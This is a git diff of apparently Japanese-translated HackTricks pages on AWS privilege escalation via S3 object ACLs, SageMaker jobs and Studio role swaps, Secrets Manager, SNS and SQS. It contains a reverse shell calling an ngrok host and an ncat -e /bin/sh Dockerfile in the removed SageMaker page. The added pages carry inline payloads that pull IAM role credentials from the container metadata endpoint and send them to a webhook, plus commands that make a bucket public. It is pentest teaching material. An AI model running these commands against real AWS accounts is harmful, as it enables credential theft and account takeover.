+attackerはこれらの権限を悪用して、バケット内の特定のオブジェクトに対するアクセスを拡大する可能性がある。
+```bash
+# Update bucket object ACL
+aws s3api get-object-acl --bucket <bucekt-name> --key flag
+aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
+
+##JSON ACL example
+## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
+{
+"Owner": {
+"DisplayName": "<DisplayName>",
+"ID": "<ID>"
+},
+"Grants": [
+{
+"Grantee": {
+"Type": "Group",
+"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
+},
+"Permission": "FULL_CONTROL"
+}
+]
+}
+## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
+```
+### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
+
+これらの権限を持つ攻撃者は、特定の object version に対して Acl を設定できると想定されます。
+```bash
+aws s3api get-object-acl --bucket <bucekt-name> --key flag
+aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
deleted file mode 100644
index fc874f007..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# AWS - Sagemaker Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## AWS - Sagemaker Privesc
-
-
-
-### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
-
-IAMロールを使用して、添付されたノートブックを作成し始めます:
-```bash
-aws sagemaker create-notebook-instance --notebook-instance-name example \
---instance-type ml.t2.medium \
---role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
-```
-`NotebookInstanceArn` フィールドが含まれている必要があり、これは新しく作成されたノートブックインスタンスの ARN を含みます。次に、`create-presigned-notebook-instance-url` API を使用して、ノートブックインスタンスが準備完了した際にアクセスするための URL を生成できます:
-```bash
-aws sagemaker create-presigned-notebook-instance-url \
---notebook-instance-name <name>
-```
-ブラウザでURLに移動し、右上の \`Open JupyterLab\` をクリックします。次に、「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。
-
-これで、IAMロールのメタデータ資格情報にアクセスすることが可能です。
-
-**潜在的な影響:** 指定されたsagemakerサービスロールへの権限昇格。
-
-### `sagemaker:CreatePresignedNotebookInstanceUrl`
-
-もしJupyter **ノートブックがすでに実行中**であり、`sagemaker:ListNotebookInstances`を使用してそれらをリストできる場合（または他の方法で発見できる場合）、それらのためのURLを**生成し、アクセスし、前の技術で示されたように資格情報を盗むことができます**。
-```bash
-aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
-```
-**潜在的な影響:** sagemakerサービスロールへの権限昇格。
-
-### `sagemaker:CreateProcessingJob,iam:PassRole`
-
-その権限を持つ攻撃者は、**sagemakerに処理ジョブを実行させる**ことができます。攻撃者は、**AWS管理ECSアカウントインスタンス**で実行されるコンテナの定義を指定し、**添付されたIAMロールの資格情報を盗む**ことができます。
-```bash
-# I uploaded a python docker image to the ECR
-aws sagemaker create-processing-job \
---processing-job-name privescjob \
---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
---app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
---role-arn <sagemaker-arn-role>
-
-# In my tests it took 10min to receive the shell
-curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
-```
-**潜在的影響:** 指定されたsagemakerサービスロールへの権限昇格。
-
-### `sagemaker:CreateTrainingJob`, `iam:PassRole`
-
-これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、**ロールが添付**されます。したがって、攻撃者はそのロールの資格情報を盗むことができます。
-
-> [!WARNING]
-> このシナリオは、攻撃者がリバースシェルや資格情報を直接送信するDockerイメージを生成する必要があるため、前のシナリオよりも悪用が難しいです（トレーニングジョブの設定で開始コマンドを指定することはできません）。
->
-> ```bash
-> # Dockerイメージを作成
-> mkdir /tmp/rev
-> ## トレーニングジョブが「train」という実行可能ファイルを呼び出すことに注意してください
-> ## だから、リバースシェルを/bin/trainに置いています
-> ## <YOUR-IP-OR-DOMAIN>と<YOUR-PORT>の値を設定してください
-> cat > /tmp/rev/Dockerfile <<EOF
-> FROM ubuntu
-> RUN apt update && apt install -y ncat curl
-> RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
-> RUN chmod +x /bin/train
-> CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
-> EOF
->
-> cd /tmp/rev
-> sudo docker build . -t reverseshell
->
-> # ECRにアップロード
-> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
-> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
-> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
-> ```
-```bash
-# Create trainning job with the docker image created
-aws sagemaker create-training-job \
---training-job-name privescjob \
---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
---algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
---role-arn <role-arn> \
---output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
---stopping-condition '{"MaxRuntimeInSeconds": 600}'
-
-#To get the creds
-curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
-## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
-```
-**潜在的な影響:** 指定されたsagemakerサービスロールへの権限昇格。
-
-### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
-
-その権限を持つ攻撃者は（潜在的に）**ハイパーパラメータトレーニングジョブ**を作成し、**任意のコンテナ**をそれに**ロールを付けて**実行できる可能性があります。\
-_時間がなかったため、私はこの脆弱性を悪用していませんが、以前の脆弱性と似ているように見えます。悪用の詳細を含むPRを送信しても構いません。_
-
-## 参考文献
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
new file mode 100644
index 000000000..d5faa2851
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
@@ -0,0 +1,260 @@
+# AWS - Sagemaker Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS - Sagemaker Privesc
+
+### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
+
+アクセス用の IAM Role がアタッチされた状態でノートブックの作成を開始します:
+```bash
+aws sagemaker create-notebook-instance --notebook-instance-name example \
+--instance-type ml.t2.medium \
+--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
+```
+レスポンスには `NotebookInstanceArn` フィールドが含まれ、作成されたノートブックインスタンスの ARN が格納されます。準備が整ったら、`create-presigned-notebook-instance-url` API を使用してノートブックインスタンスにアクセスするための URL を生成できます:
+```bash
+aws sagemaker create-presigned-notebook-instance-url \
+--notebook-instance-name <name>
+```
+ブラウザで URL に移動し、右上の `Open JupyterLab`` をクリックし、次に “Launcher” タブまでスクロールして “Other” セクションの “Terminal” ボタンをクリックします。
+
+Now It's possible to access the metadata credentials of the IAM Role.
+
+**Potential Impact:** 指定された sagemaker service role への Privesc.
+
+### `sagemaker:CreatePresignedNotebookInstanceUrl`
+
+Jupyter 上で **notebooks が既に実行されている** ものがあり、`sagemaker:ListNotebookInstances`（または他の方法で検出できる）場合、**これらに対して URL を生成し、アクセスし、前の手法に示されているように認証情報を盗むことができます。**
+```bash
+aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
+```
+**Potential Impact:** アタッチされた sagemaker サービスロールへの Privesc
+
+### `sagemaker:CreateProcessingJob`, `iam:PassRole`
+
+その権限を持つ攻撃者は、**SageMaker に処理ジョブを実行させる**ことで、その処理ジョブに SageMaker ロールをアタッチさせることができます。すでに Python を含む AWS Deep Learning Containers のいずれかを再利用し（URI と同じリージョンでジョブを実行する必要があります）、独自のイメージを構築せずにインラインでコードを実行できます:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-arn-role>
+IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
+ENV='{"W":"https://example.com/webhook"}'
+
+aws sagemaker create-processing-job \
+--processing-job-name privescjob \
+--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
+--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
+--environment "$ENV" \
+--role-arn $ROLE_ARN
+
+# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
+```
+**Potential Impact:** 指定された sagemaker サービスロールへの Privesc.
+
+### `sagemaker:CreateTrainingJob`, `iam:PassRole`
+
+その権限を持つ攻撃者は、指定されたロールで任意のコードを実行する training job を起動できます。公式の SageMaker コンテナを使用し、entrypoint を inline payload で上書きすれば、独自のイメージを構築する必要はありません:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-role-to-abuse>
+IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
+ENV='{"W":"https://example.com/webhook"}'
+OUTPUT_S3=s3://<existing-bucket>/training-output/
+# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
+
+aws sagemaker create-training-job \
+--training-job-name privesc-train \
+--role-arn $ROLE_ARN \
+--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
+--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
+--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
+--stopping-condition '{"MaxRuntimeInSeconds":600}' \
+--environment "$ENV"
+
+# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
+```
+**潜在的な影響:** 指定された SageMaker サービスロールへの Privesc.
+
+### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
+
+これらの権限を持つ攻撃者は、指定したロールの下で攻撃者が制御するコードを実行する HyperParameter Tuning Job を起動できます。Script mode ではペイロードを S3 にホストする必要がありますが、すべての手順は CLI から自動化できます:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-role-to-abuse>
+BUCKET=sm-hpo-privesc-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+
+# Allow public reads so any SageMaker role can pull the code
+aws s3api put-public-access-block \
+--bucket $BUCKET \
+--public-access-block-configuration '{
+"BlockPublicAcls": false,
+"IgnorePublicAcls": false,
+"BlockPublicPolicy": false,
+"RestrictPublicBuckets": false
+}'
+
+aws s3api put-bucket-policy --bucket $BUCKET --policy "{
+\"Version\": \"2012-10-17\",
+\"Statement\": [
+{
+\"Effect\": \"Allow\",
+\"Principal\": \"*\",
+\"Action\": \"s3:GetObject\",
+\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
+}
+]
+}"
+
+cat <<'EOF' > /tmp/train.py
+import os, time, urllib.request
+
+def main():
+meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
+if not meta:
+return
+creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
+req = urllib.request.Request(
+"https://example.com/webhook",
+data=creds,
+headers={"Content-Type": "application/json"}
+)
+urllib.request.urlopen(req)
+print("train:loss=0")
+time.sleep(300)
+
+if __name__ == "__main__":
+main()
+EOF
+
+cd /tmp
+tar -czf code.tar.gz train.py
+aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
+
+echo "dummy" > /tmp/input.txt
+aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
+
+IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
+CODE_S3=s3://$BUCKET/code/train-code.tar.gz
+TRAIN_INPUT_S3=s3://$BUCKET/input
+OUTPUT_S3=s3://$BUCKET/output
+# El rol necesita permisos ECR y escritura en el bucket.
+
+cat > /tmp/hpo-definition.json <<EOF
+{
+"AlgorithmSpecification": {
+"TrainingImage": "$IMAGE",
+"TrainingInputMode": "File",
+"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
+},
+"StaticHyperParameters": {
+"sagemaker_program": "train.py",
+"sagemaker_submit_directory": "$CODE_S3"
+},
+"RoleArn": "$ROLE_ARN",
+"InputDataConfig": [
+{
+"ChannelName": "training",
+"DataSource": {
+"S3DataSource": {
+"S3DataType": "S3Prefix",
+"S3Uri": "$TRAIN_INPUT_S3",
+"S3DataDistributionType": "FullyReplicated"
+}
+}
+}
+],
+"OutputDataConfig": {
+"S3OutputPath": "$OUTPUT_S3"
+},
+"ResourceConfig": {
+"InstanceType": "ml.m5.large",
+"InstanceCount": 1,
+"VolumeSizeInGB": 50
+},
+"StoppingCondition": {
+"MaxRuntimeInSeconds": 600
+}
+}
+EOF
+
+aws sagemaker create-hyper-parameter-tuning-job \
+--hyper-parameter-tuning-job-name privesc-hpo \
+--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
+--training-job-definition file:///tmp/hpo-definition.json
+```
+各トレーニングはプロセスによって起動されると、メトリクスを出力し、指定されたロールの認証情報を外部へ送信します。
+
+
+### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (no `iam:PassRole`)
+
+ExecutionRole の優先順位:
+
+- `UserProfile` は他の値を上書きします。プロファイルが `ExecutionRole` を定義している場合、Studio は常にそのロールを使用します。
+- `Space` はプロファイルに独自のロールがない場合にのみ適用されます。そうでなければ、プロファイルのロールが優先されます。
+- `Domain DefaultUserSettings` は、プロファイルもスペースもロールを定義していない場合の最後の手段として機能します。
+
+SageMaker Studio User Profile (or Space/Domain) の更新権限があれば、攻撃者は `ExecutionRole` を SageMaker サービスプリンシパルが引き受け可能な任意の IAM ロールに設定できます。ジョブ作成 API と異なり、Studio のプロファイル更新 API は `iam:PassRole` を要求しません。そのプロファイルで起動された新しい Studio アプリは入れ替えられたロールで実行され、Jupyter ターミナルや Studio から起動されるジョブを通じてインタラクティブに権限が昇格します。
+
+手順:
+```bash
+# 1) List Studio user profiles and pick a target
+aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
+
+# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
+ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
+
+# 2) Update the Studio profile to use the new role (no iam:PassRole)
+aws sagemaker update-user-profile \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--user-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-user-profile \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--query 'UserSettings.ExecutionRole' --output text
+
+# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
+aws sagemaker update-space \
+--domain-id <DOMAIN_ID> \
+--space-name <SPACE> \
+--space-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-space \
+--domain-id <DOMAIN_ID> \
+--space-name <SPACE> \
+--query 'SpaceSettings.ExecutionRole' --output text
+
+# 4) Optionally, change the domain default so every profile inherits the new role
+aws sagemaker update-domain \
+--domain-id <DOMAIN_ID> \
+--default-user-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-domain \
+--domain-id <DOMAIN_ID> \
+--query 'DefaultUserSettings.ExecutionRole' --output text
+
+# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
+aws sagemaker create-app \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--app-type JupyterServer \
+--app-name js-atk
+
+# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
+#    aws sts get-caller-identity  # should reflect the new ExecutionRole
+aws sagemaker create-presigned-domain-url \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--query AuthorizedUrl --output text
+```
+**潜在的な影響**: Privilege escalation により、指定された SageMaker execution role の権限を取得し、インタラクティブな Studio セッションで利用できるようになります。
+
+
+## 参考資料
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
deleted file mode 100644
index 4d16677c9..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# AWS - Secrets Manager Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Secrets Managerの詳細は次を確認してください：
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### `secretsmanager:GetSecretValue`
-
-この権限を持つ攻撃者は、AWS **Secretsmanager** の **シークレット内に保存された値** を取得できます。
-```bash
-aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
-```
-**Potential Impact:** AWS secrets manager service 内の高機密データへアクセス可能。
-
-> [!WARNING]
-> `secretsmanager:BatchGetSecretValue` の権限があっても、機密シークレットを取得するには `secretsmanager:GetSecretValue` が別途必要である点に注意。
-
-### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
-
-これらの権限があれば、**他のプリンシパル/アカウント（外部を含む）にシークレットへのアクセス権を付与することが可能**です。KMSキーで暗号化されたシークレットを**読み取る**ためには、ユーザーは**KMSキーへのアクセス権**も必要である点に注意（more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)).
-```bash
-aws secretsmanager list-secrets
-aws secretsmanager get-resource-policy --secret-id <secret_name>
-aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
-```
-policy.json:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<attackers_account>:root"
-},
-"Action": "secretsmanager:GetSecretValue",
-"Resource": "*"
-}
-]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
new file mode 100644
index 000000000..9d8010986
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
@@ -0,0 +1,48 @@
+# AWS - Secrets Manager Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+secrets manager に関する詳細は以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### `secretsmanager:GetSecretValue`
+
+この権限を持つ攻撃者は、AWS **Secretsmanager** の**シークレット内に保存された値**を取得できます。
+```bash
+aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
+```
+**Potential Impact:** AWS secrets manager service 内の高度に機密なデータへのアクセス。
+
+> [!WARNING]
+> Note that even with the `secretsmanager:BatchGetSecretValue` permission an attacker would also need `secretsmanager:GetSecretValue` to retrieve the sensitive secrets.
+
+### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
+
+前述の権限があれば、他のプリンシパル／アカウント（外部を含む）に対し**シークレット**へのアクセスを付与することが可能です。KMSキーで暗号化された**シークレットを読み取る**には、ユーザーがKMSキーへの**アクセス権**も持っている必要がある点に注意してください（詳細は [KMS Enum page](../../aws-services/aws-kms-enum.md)）。
+```bash
+aws secretsmanager list-secrets
+aws secretsmanager get-resource-policy --secret-id <secret_name>
+aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
+```
+policy.json:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<attackers_account>:root"
+},
+"Action": "secretsmanager:GetSecretValue",
+"Resource": "*"
+}
+]
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
deleted file mode 100644
index 45b946cb4..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - SNS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### `sns:Publish`
-
-攻撃者は、SNSトピックに悪意のあるまたは望ましくないメッセージを送信することで、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**潜在的な影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
-
-### `sns:Subscribe`
-
-攻撃者はSNSトピックにサブスクライブすることで、メッセージへの不正アクセスを得たり、トピックに依存するアプリケーションの正常な機能を妨害したりする可能性があります。
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-```
-**潜在的な影響**: メッセージへの不正アクセス（機密情報）、影響を受けたトピックに依存するアプリケーションのサービス中断。
-
-### `sns:AddPermission`
-
-攻撃者は、不正なユーザーやサービスにSNSトピックへのアクセスを付与し、さらなる権限を得る可能性があります。
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-```
-**潜在的な影響**: 不正なユーザーやサービスによるトピックへの不正アクセス、メッセージの露出、またはトピックの操作、トピックに依存するアプリケーションの正常な機能の妨害。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
new file mode 100644
index 000000000..9d8696f29
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
@@ -0,0 +1,80 @@
+# AWS - SNS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### `sns:Publish`
+
+攻撃者はSNSトピックに悪意のある、または不要なメッセージを送信し、データの破損、意図しないアクションの発動、あるいはリソースの枯渇を引き起こす可能性があります。
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**潜在的な影響**: 脆弱性の悪用、データの破損、意図しない操作、またはリソースの枯渇。
+
+### `sns:Subscribe`
+
+攻撃者は SNS トピックを購読することで、メッセージへの不正アクセスを得たり、そのトピックに依存するアプリケーションの正常な動作を妨害したりする可能性があります。
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+```
+**潜在的な影響**: メッセージへの不正アクセス（機密情報）、影響を受けたトピックに依存するアプリケーションのサービス中断。
+
+### `sns:AddPermission`
+
+攻撃者は不正なユーザーやサービスにSNSトピックへのアクセスを付与し、さらに権限を取得する可能性があります。
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+```
+**Potential Impact**: トピックへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるトピックの操作。トピックに依存するアプリケーションの正常な動作の妨害。
+
+### Invoke a Lambda by abusing wildcard SNS permission (no `SourceArn`)
+
+Lambda 関数のリソースベースのポリシーが `sns.amazonaws.com` に対して `SourceArn` でソーストピックを制限せずに invoke を許可している場合、任意の SNS topic（別アカウントのものを含む）がサブスクライブして関数をトリガーできます。基本的な SNS 権限を持つ攻撃者は、攻撃者制御の入力で Lambda をその IAM ロール下で実行させることができます。
+
+> [!TIP]
+> TODO: これは本当にクロスアカウントで行えますか？
+
+Preconditions
+- 被害者の Lambda ポリシーが以下のようなステートメントを含み、`SourceArn` 条件がない:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {"Service": "sns.amazonaws.com"},
+"Action": "lambda:InvokeFunction"
+// No Condition/SourceArn restriction here
+}
+]
+}
+```
+悪用手順（同一アカウントまたはクロスアカウント）
+```bash
+# 1) Create a topic you control
+ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
+
+# 2) Subscribe the victim Lambda to your topic
+aws sns subscribe \
+--region us-east-1 \
+--topic-arn "$ATTACKER_TOPIC_ARN" \
+--protocol lambda \
+--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
+
+# 3) Publish an attacker-controlled message to trigger the Lambda
+aws sns publish \
+--region us-east-1 \
+--topic-arn "$ATTACKER_TOPIC_ARN" \
+--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
+```
+**潜在的な影響**: victim Lambda はその IAM role で実行され、attacker-controlled input を処理します。これにより、権限に応じて関数が機密性の高い操作（例：S3 への書き込み、secrets へのアクセス、リソースの変更）を実行するよう悪用される可能性があります。
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
deleted file mode 100644
index 1bab206ed..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# AWS - SQS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:AddPermission`
-
-攻撃者は、この権限を使用して、新しいポリシーを作成したり、既存のポリシーを変更することで、未承認のユーザーやサービスにSQSキューへのアクセスを付与することができます。これにより、キュー内のメッセージへの未承認のアクセスや、未承認のエンティティによるキューの操作が発生する可能性があります。
-```bash
-cssCopy codeaws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
-```
-**潜在的な影響**: キューへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるキューの操作。
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-攻撃者は、SQSキューに悪意のあるまたは不要なメッセージを送信する可能性があり、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させたりする可能性があります。
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**潜在的な影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-攻撃者はSQSキュー内のメッセージを受信、削除、または可視性を変更することができ、メッセージの損失、データの破損、またはそれらのメッセージに依存するアプリケーションのサービス中断を引き起こす可能性があります。
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、影響を受けたメッセージに依存するアプリケーションのサービス中断。
-
-{{#include ../../../banners/hacktricks-training.md}}
